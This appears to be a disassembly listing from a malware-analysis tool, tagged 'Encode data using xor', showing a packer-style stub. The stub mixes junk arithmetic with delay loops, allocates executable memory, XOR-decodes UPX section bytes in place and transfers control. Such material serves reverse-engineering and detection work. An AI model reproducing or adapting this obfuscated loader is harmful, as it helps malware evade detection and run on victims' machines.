Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa73d8296
add edx, 0x42ed3d1c
not edx
popal
or ebx, edx
sub edx, ebx
mov ecx, 0
mov edx, eax
sub ebx, esi
mov esi, ebx
mov edi, edx
sub esi, 0x19c00f23
not ebx
mov eax, edi
add ebx, esi
add esi, ebx
add esi, 0x43bc27d2
inc ecx
not esi
add ebx, 0x63a2f69a
cmp ecx, 0x100d8e8
jne 0xa789c4
add ebx, 0xe23bc371
mov esi, 0xbb978dda
mov ebx, 0xd7132ae
or ebx, ebx
inc ebx
mov esi, 0xa78796
add ebx, ebx
add eax, 1
add eax, ebx
mov ecx, 0xa7898a
and edx, ebx
add eax, 0xc4e490dd
sub edx, ebx
mov edi, dword [esi]
not ebx
add ebx, 0xb125626b
not edx
and edi, 0xff
add edx, 0x80c1f424
mov eax, edx
xor dword [ecx], edi
mov edx, 0x482b79a3
add ebx, edx
inc ecx
not eax
sub edx, 0x8afc8c2c
not ebx
inc esi
add ebx, ebx
sub ebx, edx
and eax, ebx
cmp ecx, entry0
jl 0xa78a26
or eax, ebx
sub ebx, edx
add edx, ebx
dec eax
dec eax
add edx, 0xa7e819cc
mov ecx, 0xd6a9542a
mov esi, 0xa7898e
mov ecx, edi
mov ecx, edx
inc ecx
mov esi, dword [esi]
not ecx
sub edi, 0x845ee5da
mov ebx, edx
mov esi, dword [esi]
dec ebx
add ebx, ecx
sub edi, 0x4fbd726e
push esi
sub ecx, edx
mov edi, 0x82e6aa35
dec edi
mov esi, 0xa7898a
add edx, edx
add ebx, 0xcd199667
mov esi, dword [esi]
add edx, ecx
not edi
add edi, 0x56fdfe67
mov esi, dword [esi]
add edi, 0x16a75379
or ecx, ecx
push 0xa78992
mov ebx, edi
sub ecx, edi
call esi
add ecx, edx
inc ecx
not edi
pop esi
mov edi, 0x1fc371db
sub edx, 0x900b9245
add ebx, 0x3760b38c
push 0xa7899f
sub edx, ecx
and edx, edi
sub esp, 4
mov dword [esp], eax
inc edx
mov edi, 0xdff71964
add ecx, 1
call esi
sub ebx, 1
add edi, 0x83e0cd84
add ebx, 0xe2186ccf
push 0x40
mov ecx, 0xf58d65f3
sub edi, edx
sub esp, 4
mov dword [esp], 0x3000
sub edx, edi
sub ebx, 0xe24437d8
push 0x20000323
add ecx, ebx
or ebx, ebx
sub esp, 4
mov dword [esp], 0
add ecx, 0x9f8f1106
not edi
call eax
and ebx, ebx
or edx, edx
add eax, 0x200002a2
sub ebx, edx
sub ecx, edi
mov esi, 0x1039e2ab
add ebx, 0x23a118af
mov ebx, edx
mov dword [eax], esi
add ecx, edx
sub edi, ebx
mov esi, dword [eax]
add ebx, 0x7575b98b
or edx, ebx
cmp esi, 0x1039e2ab
je 0xa78b8d
mov ebx, 0
mov byte [ebx], cl
or ebx, edi
dec ebx
add ecx, 0x79162bfa
or ebx, edi
not edx
add edx, 0x425e35f1
sub ebx, edx
or ebx, ebx
mov ecx, section.UPX1
and edx, ebx
add ebx, edx
inc edx
mov edi, 0xa78795
or edx, edx
dec ebx
mov eax, 0
mov edx, 0xddb1d024
not ebx
add edx, edx
mov esi, 0xa78796
inc edx
sub ebx, 1
lea esi, [esi + eax]
add edx, 1
sub ebx, 0xc1b90b91
not ebx
mov esi, dword [esi]
sub ebx, 0xbdf76a5f
sub ebx, 0x6186539
inc edx
and esi, 0xff
dec edx
sub edx, ebx
inc eax
or ebx, ebx
inc edx
add edx, 0x4658c84b
cmp eax, 0x1f4
jne 0xa78c10
mov eax, 0
mov edx, ebx
sub edx, ebx
mov ebx, edx
sub edx, 0x8ee4a6d0
dec edx
xor dword [ecx], esi
or ebx, ebx
add edx, edx
and edx, ebx
add ecx, 2
not edx
sub ebx, edx
cmp ecx, edi
jl 0xa78bc4
not edx
sub edx, ebx
sub edx, 0x4f262bf4
mov edx, ebx
mov ebx, edx
mov esi, section.UPX1
add ebx, 1
sub ebx, eax
mov ecx, section.UPX1
or ebx, eax
sub eax, 0xf7646568
mov edi, 0xa78795
and ebx, eax
and eax, eax
mov eax, 0x99259c3e
mov edx, 0
dec eax
add eax, ebx
and eax, eax
mov dl, byte [ecx]
and eax, ebx
sub ebx, eax
sub ebx, eax
mov byte [esi], dl
add ebx, 1
mov ebx, eax
inc esi
not ebx
sub ebx, 0xa88d715a
or eax, eax
add ecx, 2
dec eax
not ebx
add ebx, eax
cmp ecx, edi
jle 0xa78c77
add ebx, 0x968a366d
mov ebx, 0x5efcfb00
add eax, 0xa3278208
mov ebx, 0x13a1cd34
mov edx, 0xd4a88ee4
add edx, ebx
push 0x8dc6a0
dec edx
or ebx, edx
mov ebx, 0xb604912a
ret